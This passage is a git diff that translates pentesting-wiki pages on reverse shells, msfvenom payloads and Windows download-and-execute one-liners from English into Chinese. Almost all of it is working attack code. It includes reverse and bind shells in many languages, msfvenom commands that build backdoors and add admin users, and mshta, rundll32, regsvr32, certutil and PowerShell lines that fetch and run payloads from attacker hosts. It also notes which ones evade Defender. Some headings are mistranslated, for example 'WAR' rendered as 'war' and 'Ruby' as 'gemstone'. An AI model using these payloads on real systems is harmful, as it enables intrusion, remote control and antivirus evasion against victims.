绑定 shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### 反向 shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**攻击者** ```bash while true; do nc -l 79; done ``` +要发送命令,请写下它,按回车,然后按CTRL+D(以停止STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**受害者** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +这将尝试连接到您系统的6001端口: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +要捕获反向 shell,您可以使用(将在 6001 端口监听): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +由 [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意:Java 反向 shell 也适用于 Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## 参考 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..1814bf424 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- -## Basic msfvenom +## 基本 msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +还可以使用 `-a` 来指定架构或 `--platform` +## 列表 ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## 创建 shellcode 时的常见参数 ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **反向 Shell** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - -### Bind Shell - +### 绑定 Shell ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### 创建用户 ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - ### CMD Shell - ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **执行命令** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### 编码器 ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### 嵌入可执行文件中 ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` - ## Linux Payloads -### Reverse Shell - +### 反向 Shell ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - -### Bind Shell - +### 绑定 Shell ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` - ## **MAC Payloads** -### **Reverse Shell:** - +### **反向Shell:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - -### **Bind Shell** - +### **绑定 Shell** ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **基于网络的有效载荷** ### **PHP** -#### Reverse shel**l** - +#### 反向壳**l** ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### 反向 shell ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### 反向 shell ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### 战争 -### WAR - -#### Reverse Shell - +#### 反向 Shell ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **脚本语言有效载荷** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..9069ecc10 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +该页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 是针对 Windows 的,类似于 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux。\ +显然,**Windows 中没有 SUID 文件或 sudo 权限**,但了解 **如何** 一些 **二进制文件** 可以被(滥)用来执行某种意外操作,如 **执行任意代码**,是很有用的。 ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +受害者 ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +攻击者 ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) 是一个便携且安全的 Netcat 替代品**。它在类 Unix 系统和 Win32 上运行。具有强加密、程序执行、可自定义源端口和持续重连等功能,sbd 为 TCP/IP 通信提供了多功能解决方案。对于 Windows 用户,可以使用 Kali Linux 发行版中的 sbd.exe 版本作为 Netcat 的可靠替代品。 ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - ## Python - ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl - ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## 红宝石 ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua - ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +攻击者 (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +受害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell - ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +执行网络调用的进程:**powershell.exe**\ +写入磁盘的有效载荷:**没有** (_至少在我使用 procmon 时找不到!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +执行网络调用的进程:**svchost.exe**\ +写入磁盘的有效载荷:**WebDAV 客户端本地缓存** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**一行代码:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**在本文档末尾获取有关不同Powershell Shells的更多信息** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **hta-psh 反向 shell 示例(使用 hta 下载并执行 PS 后门)** ```xml - + ``` +**您可以通过 stager hta 非常轻松地下载和执行 Koadic 僵尸** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### hta 示例 +[**从这里**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**被防御者检测到** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Dll hello world 示例**](https://github.com/carterjones/hello-world-dll) +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**被防御者检测到** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**被防御者检测到** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**从这里**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**您可以通过 stager regsvr 非常轻松地下载并执行 Koadic 僵尸** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +下载一个 B64dll,解码并执行它。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +下载一个 B64exe,解码并执行它。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**被防御者检测到** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**被防御者检测到** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +执行网络调用的进程:**svchost.exe**\ +写入磁盘的有效载荷:**WebDAV 客户端本地缓存** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**被防御者检测到** ## **MSIExec** -Attacker - +攻击者 ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +受害者: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**检测到** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +示例 xsl 文件 [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**未检测到** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**您可以使用 stager wmic 非常轻松地下载并执行 Koadic 僵尸** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。因为您将被提示使用 PS shell。\ +只需下载并执行此文件: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**未检测到** ## **CSC** -Compile C# code in the victim machine. - +在受害者机器上编译 C# 代码。 ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +您可以从这里下载一个基本的 C# 反向 shell: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**未检测** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**我还没有尝试过** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**我还没有尝试过** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +在 **Shells** 文件夹中,有很多不同的 shell。要下载并执行 Invoke-_PowerShellTcp.ps1_,请复制脚本并将其附加到文件末尾: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +在网络服务器上启动脚本并在受害者端执行它: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender 目前尚未将其检测为恶意代码(截至2019年3月4日)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: 检查其他 nishang shells** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +下载,启动一个网络服务器,启动监听器,并在受害者端执行它: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender 目前尚未将其检测为恶意代码(截至2019年3月4日)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**powercat 提供的其他选项:** +绑定 shell,反向 shell(TCP,UDP,DNS),端口重定向,上传/下载,生成有效负载,提供文件... ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +创建一个 powershell 启动器,将其保存在文件中并下载和执行。 ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**检测为恶意代码** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +使用unicorn创建metasploit后门的powershell版本 ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +使用创建的资源启动 msfconsole: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +启动一个网络服务器,提供 _powershell_attack.txt_ 文件,并在受害者上执行: ``` powershell -exec 